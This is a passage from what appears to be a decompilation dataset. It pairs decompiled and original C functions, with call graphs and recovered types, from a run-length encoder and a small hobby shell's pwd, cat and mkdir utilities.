"f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" }, { "name": "main", "canonical_name": "main", "repo": "Atalanta/run-length-encoding", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nunsigned int *v4; // [rsp+18h] [rbp-8h]\n\nv4 = (unsigned int *)slurp(getchar, argv, envp);\nverbatim(*v4, *((_QWORD *)v4 + 1));\nfree_block(v4);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nunsigned int *v4; // [rsp+18h] [rbp-8h]\n\nv4 = (unsigned int *)func7(getchar, argv, envp);\nfunc8(*v4, *((_QWORD *)v4 + 1));\nfunc10(v4);\nreturn 0;\n}", "original_code": "int main(int argc, char **argv) {\n block_t *block = slurp(getchar);\n verbatim(block->size, block->buffer);\n free_block(block);\n return 0;\n}", "canonical_original_code": "int main(int argc, char **argv) {\n struct block_t *block = slurp(getchar);\n verbatim(block->size, block->buffer);\n free_block(block);\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "int", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" } ]
052fef5cf83387d1137afbbda752a9980568b48fcee63e6fa5ef5393e0958a22
pxunl/myshell
[ [ "Shell_Main", "->" ] ]
[]
[ { "name": "Shell_Main", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall Shell_Main(__int64 a1)\n{\n__int64 v1; // rax\n__int64 v3; // [rsp+10h] [rbp-10h]\n\nif ( a1 )\n{\nv1 = spiltline(a1);\nv3 = v1;\nif ( v1 )\n{\nProcess(v1);\nLODWORD(v1) = free_list(v3);\n}\n}\nelse\n{\nLODWORD(v1) = printf(\"error, no commanline!\");\n}\nreturn v1;\n}\n", "canonical_decompiled_code": "int __fastcall func0(__int64 a1)\n{\n__int64 v1; // rax\n__int64 v3; // [rsp+10h] [rbp-10h]\n\nif ( a1 )\n{\nv1 = spiltline(a1);\nv3 = v1;\nif ( v1 )\n{\nProcess(v1);\nLODWORD(v1) = free_list(v3);\n}\n}\nelse\n{\nLODWORD(v1) = printf(\"error, no commanline!\");\n}\nreturn v1;\n}", "original_code": "void Shell_Main(char *command_line)\n{\n if (!command_line)\n {\n printf(\"error, no commanline!\");\n return;\n }\n char **arglist;\n int result = -1;\n if ((arglist = spiltline(command_line)) != ((void *)0))\n {\n result = Process(arglist);\n free_list(arglist);\n }\n}", "canonical_original_code": "void Shell_Main(char *command_line)\n{\n if (!command_line)\n {\n printf(\"error, no commanline!\");\n return;\n }\n char **arglist;\n int result = -1;\n if ((arglist = spiltline(command_line)) != ((void *)0))\n {\n result = Process(arglist);\n free_list(arglist);\n }\n}", "variable_types": [ [ "command_line", "char *" ], [ "arglist", "char **" ], [ "result", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "052fef5cf83387d1137afbbda752a9980568b48fcee63e6fa5ef5393e0958a22" } ]
1b452aed1be955e3641008b0cfd0fc786a190cdf30f0429cded31f158ce2b0cc
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "get_inode", "printpathto" ], [ "printpathto", "->", "main", "get_inode", "inum_to_name" ], [ "inum_to_name", "->", "printpathto" ], [ "get_inode", "->", "main", "printpathto", "stat" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ], [ "stat", "->", "get_inode" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "inum_to_name", "int __fastcall func8(__int64 a1, char *a2, int a3)\n{\nstruct dirent *v5; // [rsp+20h] [rbp-10h]\nDIR *dirp; // [rsp+28h] [rbp-8h]\n\ndirp = opendir(\".\");\nif ( !dirp )\n{\nperror(\".\");\nexit(1);\n}\ndo\n{\nv5 = readdir(dirp);\nif ( !v5 )\n{\nfprintf(stderr, \"error looking for inum %d\\n\", (unsigned int)a1);\nexit(1);\n}\n}\nwhile ( a1 != v5->d_ino );\nstrncpy(a2, v5->d_name, a3);\na2[a3 - 1] = 0;\nreturn closedir(dirp);\n}" ], [ "_libc_csu_init", "void __fastcall func10(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func11(void)\n{\n;\n}" ], [ "stat", "int __fastcall func12(char *filename, struct stat *stat_buf)\n{\nreturn __xstat(1, filename, stat_buf);\n}" ] ]
[ { "name": "printpathto", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall printpathto(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rax\n__int64 v4; // rdx\nchar v6[8200]; // [rsp+10h] [rbp-2010h] BYREF\n__int64 v7; // [rsp+2018h] [rbp-8h]\n\nv3 = get_inode(\"..\", a2, a3);\nif ( a1 != v3 )\n{\nchdir(\"..\");\ninum_to_name(a1, v6, 0x2000LL);\nv7 = get_inode(\".\", v6, v4);\nprintpathto(v7);\nLODWORD(v3) = printf(\"/%s\", v6);\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "int __fastcall func7(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rax\n__int64 v4; // rdx\nchar v6[8200]; // [rsp+10h] [rbp-2010h] BYREF\n__int64 v7; // [rsp+2018h] [rbp-8h]\n\nv3 = func9(\"..\", a2, a3);\nif ( a1 != v3 )\n{\nchdir(\"..\");\nfunc8(a1, v6, 0x2000LL);\nv7 = func9(\".\", v6, v4);\nfunc7(v7);\nLODWORD(v3) = printf(\"/%s\", v6);\n}\nreturn v3;\n}", "original_code": "void printpathto( ino_t this_inode )\n{\n ino_t my_inode ;\n char its_name[8192];\n if ( get_inode(\"..\") != this_inode )\n {\n chdir( \"..\" );\n inum_to_name(this_inode,its_name,8192);\n my_inode = get_inode( \".\" );\n printpathto( my_inode );\n printf(\"/%s\", its_name );\n }\n}", "canonical_original_code": "void printpathto(unsigned long this_inode)\n{\n unsigned long my_inode;\n char its_name[8192];\n if ( get_inode(\"..\") != this_inode )\n {\n chdir( \"..\" );\n inum_to_name(this_inode,its_name,8192);\n my_inode = get_inode( \".\" );\n printpathto( my_inode );\n printf(\"/%s\", its_name );\n }\n}", "variable_types": [ [ "this_inode", "unsigned long" ], [ "my_inode", "unsigned long" ], [ "its_name", "char [8192]" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1b452aed1be955e3641008b0cfd0fc786a190cdf30f0429cded31f158ce2b0cc" }, { "name": "get_inode", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "__ino_t __fastcall get_inode(char *a1)\n{\nstruct stat v2; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)stat(a1, &v2) == -1 )\n{\nfwrite(\"Cannot stat \", 1uLL, 0xCuLL, stderr);\nperror(a1);\nexit(1);\n}\nreturn v2.st_ino;\n}\n", "canonical_decompiled_code": "__ino_t __fastcall func9(char *a1)\n{\nstruct stat v2; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)func12(a1, &v2) == -1 )\n{\nfwrite(\"Cannot stat \", 1uLL, 0xCuLL, stderr);\nperror(a1);\nexit(1);\n}\nreturn v2.st_ino;\n}", "original_code": "ino_t get_inode( char *fname )\n{\n struct stat info;\n if ( stat( fname , &info ) == -1 )\n {\n fprintf(stderr, \"Cannot stat \");\n perror(fname);\n exit(1);\n }\n return info.st_ino;\n}", "canonical_original_code": "unsigned long get_inode(char *fname)\n{\n struct stat info;\n if ( stat( fname , &info ) == -1 )\n {\n fprintf(stderr, \"Cannot stat \");\n perror(fname);\n exit(1);\n }\n return info.st_ino;\n}", "variable_types": [ [ "fname", "char *" ], [ "info", "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }", "struct timespec { long tv_sec; long tv_nsec; }" ], "binary_hash": "1b452aed1be955e3641008b0cfd0fc786a190cdf30f0429cded31f158ce2b0cc" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rax\n\nv3 = get_inode(\".\", argv, envp);\nprintpathto(v3);\nputchar(10);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rax\n\nv3 = func9(\".\", argv, envp);\nfunc7(v3);\nputchar(10);\nreturn 0;\n}", "original_code": "int main(int argc, const char *argv[])\n{\n printpathto( get_inode( \".\" ) );\n putchar('\\n');\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n printpathto( get_inode( \".\" ) );\n putchar('\\n');\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "1b452aed1be955e3641008b0cfd0fc786a190cdf30f0429cded31f158ce2b0cc" } ]
318794afca03c174e94e5e184b6172d092cd22f553eb87fee0c072e6ecfb23d6
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "usage", "do_cat", "do_cat_with_option" ], [ "usage", "->", "main" ], [ "is_directory", "->", "stat", "do_cat_with_option", "do_cat" ], [ "do_cat_with_option", "->", "main", "is_directory" ], [ "do_cat", "->", "main", "is_directory" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ], [ "stat", "->", "is_directory" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "do_cat_with_option", "void __fastcall func9(char *a1, __int64 a2)\n{\nsize_t n; // [rsp+18h] [rbp-28h] BYREF\nchar *lineptr; // [rsp+20h] [rbp-20h] BYREF\n__ssize_t v4; // [rsp+28h] [rbp-18h]\nFILE *stream; // [rsp+30h] [rbp-10h]\n__int64 v6; // [rsp+38h] [rbp-8h]\n\nif ( a1 && a2 )\n{\nif ( func8(a1) )\n{\nlineptr = 0LL;\nn = 0LL;\nv6 = 0LL;\nstream = fopen(a1, \"r\");\nif ( !stream )\nexit(1);\nwhile ( 1 )\n{\nv4 = getline(&lineptr, &n, stream);\nif ( v4 == -1 )\nbreak;\nprintf(\"%ld %s\", ++v6, lineptr);\n}\nif ( lineptr )\nfree(lineptr);\nfclose(stream);\n}\nelse\n{\nprintf(\"%s: %s: Is a directory\\n\", \"icat\", a1);\n}\n}\n}" ], [ "_libc_csu_init", "void __fastcall func11(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func12(void)\n{\n;\n}" ], [ "stat", "int __fastcall func13(char *filename, struct stat *stat_buf)\n{\nreturn __xstat(1, filename, stat_buf);\n}" ] ]
[ { "name": "is_directory", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "_BOOL8 __fastcall is_directory(char *a1)\n{\nstruct stat v2; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)stat(a1, &v2) == -1 )\nperror(\"stat\");\nreturn (v2.st_mode & 0xF000) != 0x4000;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func8(char *a1)\n{\nstruct stat v2; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)func13(a1, &v2) == -1 )\nperror(\"stat\");\nreturn (v2.st_mode & 0xF000) != 0x4000;\n}", "original_code": "int is_directory(const char *file)\n{\n struct stat stat_ck;\n if (stat(file, &stat_ck) == -1)\n {\n perror(\"stat\");\n }\n if (((((stat_ck.st_mode)) & 0170000) == (0040000)))\n {\n return 0;\n }\n return 1;\n}", "canonical_original_code": "int is_directory(char *file)\n{\n struct stat stat_ck;\n if (stat(file, &stat_ck) == -1)\n {\n perror(\"stat\");\n }\n if (((((stat_ck.st_mode)) & 0170000) == (0040000)))\n {\n return 0;\n }\n return 1;\n}", "variable_types": [ [ "file", "char *" ], [ "stat_ck", "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }" ] ], "return_type": "int", "user_defined_types": [ "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }", "struct timespec { long tv_sec; long tv_nsec; }" ], "binary_hash": "318794afca03c174e94e5e184b6172d092cd22f553eb87fee0c072e6ecfb23d6" }, { "name": "do_cat", "canonical_name": "func10", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall do_cat(char *a1)\n{\nchar buf[136]; // [rsp+10h] [rbp-90h] BYREF\nint fd; // [rsp+98h] [rbp-8h]\nint v4; // [rsp+9Ch] [rbp-4h]\n\nif ( !is_directory(a1) )\nreturn printf(\"%s: %s: Is a directory\\n\", \"icat\", a1);\nv4 = 0;\nfd = open(a1, 0);\nif ( fd == -1 )\n{\nprintf(\"can't read %s, please check it's permision\\n\", a1);\nexit(1);\n}\nwhile ( 1 )\n{\nv4 = read(fd, buf, 0x80uLL);\nif ( !v4 )\nbreak;\nbuf[v4] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int __fastcall func10(char *a1)\n{\nchar buf[136]; // [rsp+10h] [rbp-90h] BYREF\nint fd; // [rsp+98h] [rbp-8h]\nint v4; // [rsp+9Ch] [rbp-4h]\n\nif ( !func8(a1) )\nreturn printf(\"%s: %s: Is a directory\\n\", \"icat\", a1);\nv4 = 0;\nfd = open(a1, 0);\nif ( fd == -1 )\n{\nprintf(\"can't read %s, please check it's permision\\n\", a1);\nexit(1);\n}\nwhile ( 1 )\n{\nv4 = read(fd, buf, 0x80uLL);\nif ( !v4 )\nbreak;\nbuf[v4] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void do_cat(const char *file)\n{\n if (is_directory(file) == 0)\n {\n printf(\"%s: %s: Is a directory\\n\", \"icat\", file);\n return;\n }\n int read_size = 0;\n char buf[128];\n int fd;\n if ((fd = open(file, 00)) == -1)\n {\n printf(\"can't read %s, please check it's permision\\n\", file);\n exit(1);\n }\n while ((read_size = read(fd, buf, 128)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void do_cat(char *file)\n{\n if (is_directory(file) == 0)\n {\n printf(\"%s: %s: Is a directory\\n\", \"icat\", file);\n return;\n }\n int read_size = 0;\n char buf[128];\n int fd;\n if ((fd = open(file, 00)) == -1)\n {\n printf(\"can't read %s, please check it's permision\\n\", file);\n exit(1);\n }\n while ((read_size = read(fd, buf, 128)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "file", "char *" ], [ "read_size", "int" ], [ "buf", "char [128]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "318794afca03c174e94e5e184b6172d092cd22f553eb87fee0c072e6ecfb23d6" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nif ( argc != 2 && argc != 3 )\nusage(0LL, argv, envp);\nif ( argc == 2 )\n{\ndo_cat(argv[1], argv, envp);\n}\nelse\n{\nfor ( i = 1; i <= 2; ++i )\n{\nif ( !strpbrk(argv[i], \"-n\") )\ndo_cat_with_option(argv[i], \"-n\");\n}\n}\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nif ( argc != 2 && argc != 3 )\nfunc7(0LL, argv, envp);\nif ( argc == 2 )\n{\nfunc10(argv[1], argv, envp);\n}\nelse\n{\nfor ( i = 1; i <= 2; ++i )\n{\nif ( !strpbrk(argv[i], \"-n\") )\nfunc9(argv[i], \"-n\");\n}\n}\nreturn 0;\n}", "original_code": "int main(int argc, const char *argv[])\n{\n if (argc != 2 && argc != 3)\n {\n usage(0);\n }\n int i;\n if (argc == 2)\n {\n do_cat(argv[1]);\n }\n else if (argc == 3)\n {\n for (i = 1; i < 3; i++)\n {\n if (strpbrk(argv[i], \"-n\"))\n {\n continue;\n }\n do_cat_with_option(argv[i], \"-n\");\n }\n }\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n if (argc != 2 && argc != 3)\n {\n usage(0);\n }\n int i;\n if (argc == 2)\n {\n do_cat(argv[1]);\n }\n else if (argc == 3)\n {\n for (i = 1; i < 3; i++)\n {\n if (strpbrk(argv[i], \"-n\"))\n {\n continue;\n }\n do_cat_with_option(argv[i], \"-n\");\n }\n }\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "318794afca03c174e94e5e184b6172d092cd22f553eb87fee0c072e6ecfb23d6" }, { "name": "usage", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall __noreturn usage(int a1)\n{\nif ( a1 )\n{\nfprintf(stderr, \"Try `%s --help' for more information.\\n\", \"icat\");\n}\nelse\n{\nprintf(\"Usage: %s [OPTION]...\\n\", \"icat\");\nprintf(\n\"\\n%s\\n%s\\n\",\n\"Concatenate FILE(s), or standard input, to standard output\",\n\"-n(--number:number all output lines\");\n}\nexit(a1);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func7(int a1)\n{\nif ( a1 )\n{\nfprintf(stderr, \"Try `%s --help' for more information.\\n\", \"icat\");\n}\nelse\n{\nprintf(\"Usage: %s [OPTION]...\\n\", \"icat\");\nprintf(\n\"\\n%s\\n%s\\n\",\n\"Concatenate FILE(s), or standard input, to standard output\",\n\"-n(--number:number all output lines\");\n}\nexit(a1);\n}", "original_code": "void usage(int status)\n{\n if (status != 0)\n fprintf (stderr, (\"Try `%s --help' for more information.\\n\"),\n \"icat\");\n else\n {\n printf ((\"Usage: %s [OPTION]...\\n\"), \"icat\");\n printf((\"\\n%s\\n%s\\n\"),\"Concatenate FILE(s), or standard input, to standard output\",\n \"-n(--number:number all output lines\");\n }\n exit (status);\n}", "canonical_original_code": "void usage(int status)\n{\n if (status != 0)\n fprintf (stderr, (\"Try `%s --help' for more information.\\n\"),\n \"icat\");\n else\n {\n printf ((\"Usage: %s [OPTION]...\\n\"), \"icat\");\n printf((\"\\n%s\\n%s\\n\"),\"Concatenate FILE(s), or standard input, to standard output\",\n \"-n(--number:number all output lines\");\n }\n exit (status);\n}", "variable_types": [ [ "status", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "318794afca03c174e94e5e184b6172d092cd22f553eb87fee0c072e6ecfb23d6" } ]
33b71333f40af1006de9757e3691b12d91e41250ab8207f41be8326cf9bbef5b
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "check_name", "do_mkdir" ], [ "do_mkdir", "->", "main" ], [ "check_name", "->", "main" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func9(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func10(void)\n{\n;\n}" ] ]
[ { "name": "do_mkdir", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall do_mkdir(const char *a1)\n{\nif ( !*a1 )\nreturn 1LL;\nmkdir(a1, 0x1C0u);\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(const char *a1)\n{\nif ( !*a1 )\nreturn 1LL;\nmkdir(a1, 0x1C0u);\nreturn 0LL;\n}", "original_code": "int do_mkdir(char *dir)\n{\n if (!(*dir))\n {\n return R_FALSE;\n }\n mkdir(dir, (0400|0200|0100));\n return R_TRUE;\n}", "canonical_original_code": "int do_mkdir(char *dir)\n{\n if (!(*dir))\n {\n return R_FALSE;\n }\n mkdir(dir, (0400|0200|0100));\n return R_TRUE;\n}", "variable_types": [ [ "dir", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "33b71333f40af1006de9757e3691b12d91e41250ab8207f41be8326cf9bbef5b" }, { "name": "check_name", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall check_name(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 1LL;\nv2 = a1;\nif ( ((*__ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 1LL;\nwhile ( *v2 )\n{\nif ( *v2 == 32 || *v2 == 61 || ((*__ctype_b_loc())[(char)*v2] & 8) == 0 )\nreturn 1LL;\n++v2;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 1LL;\nv2 = a1;\nif ( ((*__ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 1LL;\nwhile ( *v2 )\n{\nif ( *v2 == 32 || *v2 == 61 || ((*__ctype_b_loc())[(char)*v2] & 8) == 0 )\nreturn 1LL;\n++v2;\n}\nreturn 0LL;\n}", "original_code": "int check_name(char *name)\n{\n if (!name)\n {\n return R_FALSE;\n }\n char * ck = name;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISdigit))\n {\n return R_FALSE;\n }\n while (*ck)\n {\n if (*ck == ' ' || *ck == '=' || !(((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISalnum)))\n {\n return R_FALSE;\n }\n ck++;\n }\n return R_TRUE;\n}", "canonical_original_code": "int check_name(char *name)\n{\n if (!name)\n {\n return R_FALSE;\n }\n char *ck = name;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISdigit))\n {\n return R_FALSE;\n }\n while (*ck)\n {\n if (*ck == ' ' || *ck == '=' || !(((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISalnum)))\n {\n return R_FALSE;\n }\n ck++;\n }\n return R_TRUE;\n}", "variable_types": [ [ "name", "char *" ], [ "ck", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "33b71333f40af1006de9757e3691b12d91e41250ab8207f41be8326cf9bbef5b" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\n\nif ( argc <= 1 )\n{\nperror(\"Usage: missing new directory name\\n\");\nexit(1);\n}\nif ( (unsigned int)check_name(argv[1], argv, envp) == 1 )\n{\nperror(\"valdlity directory name\\n\");\nresult = 0;\n}\nelse\n{\nif ( (unsigned int)do_mkdir(argv[1]) == 1 )\nputs(\"Fail\");\nelse\nputs(\"Finish...\");\nresult = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\n\nif ( argc <= 1 )\n{\nperror(\"Usage: missing new directory name\\n\");\nexit(1);\n}\nif ( (unsigned int)func8(argv[1], argv, envp) == 1 )\n{\nperror(\"valdlity directory name\\n\");\nresult = 0;\n}\nelse\n{\nif ( (unsigned int)func7(argv[1]) == 1 )\nputs(\"Fail\");\nelse\nputs(\"Finish...\");\nresult = 0;\n}\nreturn result;\n}", "original_code": "int main(int argc, char *argv[])\n{\n if (argc < 2)\n {\n perror(\"Usage: missing new directory name\\n\");\n exit(1);\n }\n if (check_name(argv[1]) == R_FALSE)\n {\n perror(\"valdlity directory name\\n\");\n return 0;\n }\n if (R_FALSE == do_mkdir(argv[1]))\n {\n printf(\"Fail\\n\");\n return 0;\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n if (argc < 2)\n {\n perror(\"Usage: missing new directory name\\n\");\n exit(1);\n }\n if (check_name(argv[1]) == R_FALSE)\n {\n perror(\"valdlity directory name\\n\");\n return 0;\n }\n if (R_FALSE == do_mkdir(argv[1]))\n {\n printf(\"Fail\\n\");\n return 0;\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "variable_types": [ [ 